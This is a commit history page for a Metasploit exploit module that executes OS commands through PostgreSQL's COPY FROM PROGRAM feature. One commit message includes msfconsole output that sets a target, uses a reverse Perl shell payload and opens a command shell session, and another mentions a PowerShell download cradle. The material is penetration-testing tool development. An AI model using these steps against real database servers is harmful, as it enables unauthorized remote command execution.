Commit Graph

57 Commits

Author SHA1 Message Date
sjanusz-r7 3c8f43e23e Align SQL sessions peerhost and peerport 2024-03-04 13:11:32 +00:00
Dean Welch fa5c4c0193 lowercase session types 2024-02-14 15:45:34 +00:00
Dean Welch 587a8690a1 Use individual session mixins 2024-02-14 15:37:11 +00:00
sjanusz-r7 30fc29e0f5 Use PostgreSQL session type for modules 2024-02-09 15:38:06 +00:00
Alexander Neumann 642bb12505 postgres_copy_from_program_cmd_exec: Quote table name
In about 16% of all cases the random value of "tablename" will be set to
a value starting with a number, which needs to be quoted before the
query is sent to the postgres server. Otherwise the query fails with the
message "Exploit failed". This is what happened to me, you can see an
example with a table name set manually here:

    msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
    [*] Using configured payload cmd/unix/reverse_perl
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.2.2
    RHOSTS => 192.168.2.2
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename 123test
    tablename => 123test
    [...]
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444·
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [!] 192.168.2.2:5432 - 192.168.2.2:5432 - Unable to execute query: DROP TABLE IF EXISTS 123test;
    [-] 192.168.2.2:5432 - Exploit Failed

This can be verified manually as follows, quoting the table name works:

    $ psql --user postgres -W -h 192.168.2.2 template1
    [...]
    template1=# DROP TABLE IF EXISTS 123test;
    ERROR:  syntax error at or near "123"
    LINE 1: DROP TABLE IF EXISTS 123test;
                                 ^
    template1=# DROP TABLE IF EXISTS "123test";
    NOTICE:  table "123test" does not exist, skipping
    DROP TABLE

With the patch, the script also works with table names which start with
numbers:

    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test created successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test copied successfully(valid syntax/command)
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully(Cleaned)
    [*] 192.168.2.2:5432 - Exploit Succeeded

    [*] Command shell session 1 opened (192.168.2.1:4444 -> 192.168.2.2:51734 ) at 2022-03-24 10:15:33 +0100
2022-04-04 10:32:01 +02:00
dwelch-r7 319f15d938 Handle nil versions for rubygems 4 2021-02-25 16:47:49 +00:00
dwelch-r7 1617b3ec9b Use zeitwerk for lib/msf/core folder 2020-12-07 10:31:45 +00:00
Alan Foster 30809787c4 Convert disclosure dates to iso8601 2020-10-02 21:00:37 +01:00
William Vu c03ee656a3 Merge remote-tracking branch 'upstream/master' into HEAD 2019-04-16 16:02:11 -05:00
bcoles 6f92b98ba2 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 21:25:13 +01:00
bcoles 2c3464c93a Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 17:49:20 +01:00
Jacob 4989498722 Update postgres_copy_from_program_cmd_exec.rb 2019-04-12 17:48:32 +01:00
bcoles 755da3482e Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 17:43:19 +01:00
bcoles 7daa52af4f Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 17:42:51 +01:00
bcoles e057c7e129 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-04-12 17:42:37 +01:00
Jacob 5c68ad5a13 Update postgres_copy_from_program_cmd_exec.rb 2019-04-12 11:52:15 +01:00
Jacob 11385ae29a Update postgres_copy_from_program_cmd_exec.rb 2019-04-08 00:19:55 +01:00
Brendan Coles ddbd7ba080 Case insensitive match 2019-04-01 18:58:14 +00:00
Jacob 592cc6cc2d Update postgres_copy_from_program_cmd_exec.rb 2019-03-27 10:40:14 +00:00
Jacob 3c66b4fad2 Update postgres_copy_from_program_cmd_exec.rb 2019-03-26 20:22:55 +00:00
Jacob 242f48744e Update postgres_copy_from_program_cmd_exec.rb 2019-03-26 20:18:50 +00:00
Brendan Coles d9fc7af68e Fix version detection 2019-03-26 20:17:34 +00:00
Jacob 4ef10013db COMMAND removed 2019-03-26 18:59:52 +00:00
Jacob 0d6cbc90c5 Update postgres_copy_from_program_cmd_exec.rb 2019-03-26 18:54:20 +00:00
Jacob 91e869a970 Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 22:48:42 +00:00
Jacob 3b0f399730 Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 22:44:31 +00:00
bcoles 55939a64a0 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-03-24 19:32:29 +00:00
Jacob 74464a2087 Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 18:17:43 +00:00
Jacob 3c0a9d0748 Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 15:37:10 +00:00
bcoles f14b213725 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-03-24 15:36:25 +00:00
Jacob 27b3717add Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 15:35:59 +00:00
bcoles 567be6fa11 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-03-22 11:18:07 +00:00
Jacob 00cf0a7bea Update postgres_copy_from_program_cmd_exec.rb 2019-03-21 14:23:00 +00:00
Jacob 91758cd94b Update postgres_copy_from_program_cmd_exec.rb 2019-03-21 11:11:03 +00:00
Jacob 98638b6000 Update postgres_copy_from_program_cmd_exec.rb 2019-03-21 11:09:57 +00:00
Jacob 03775228fe Update and rename postgres_cmd_execution_nine_three.rb to postgres_copy_from_program_cmd_exec.rb 2019-03-21 11:08:53 +00:00
Jacob f651836a20 final suggested fixes to module 2019-03-21 10:24:47 +00:00
Jacob 9c4b9239e5 Update postgres_cmd_execution_nine_three.rb 2019-03-21 10:08:56 +00:00
Jacob 32bf2e134f Fixes suggested by bcoles 2019-03-21 10:08:04 +00:00
bcoles 7b8f59d7bc Update modules/exploits/multi/postgres/postgres_cmd_execution_nine_three.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-03-21 09:33:29 +00:00
Jacob 7e91235551 Adding new Postgres_cmd_execution module
PostgreSQL from 9.3 to latest has functionality allowing the database superuser & users in the 'pg_read_server_files' group to execute OS commands. 

Explanation:
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

This is my first run through of a Metasploit module so I would appreciate anyone helping me clean it up. It currently works on OSX & Linux by providing a cmd stager (like cmd/unix/reverse_perl), and on windows by first starting up a PowerShell download cradle, then putting the command in the COMMAND parameter. It feels a little hacky though 😁
2019-03-20 17:38:12 +00:00
Brent Cook 6300758c46 use https for metaploit.com links 2017-07-24 06:26:21 -07:00
g0tmi1k ef826b3f2c OCD - print_good & print_error 2017-07-19 12:48:52 +01:00
William Vu 64452de06d Fix msf/core and self.class msftidy warnings
Also fixed rex requires.
2017-05-03 15:44:51 -05:00
William Vu 7d44bd5ba4 Clean up module 2016-09-06 23:30:58 -05:00
aushack 015b790295 Added default rport. 2016-09-07 14:24:07 +10:00
wchen-r7 6b4dd8787b Fix #6764, nil SQL error in lib/msf/core/exploit/postgres
Fix #6764
2016-04-08 15:20:04 -05:00
wchen-r7 28875313be Change class name to MetasploitModule 2016-04-08 14:27:52 -05:00
nixawk 138e48b202 Fix vuln_version? 2016-02-22 00:39:44 +08:00
nixawk 53a52fafd5 make code to be readable / rebuild / testing 2016-02-22 00:34:49 +08:00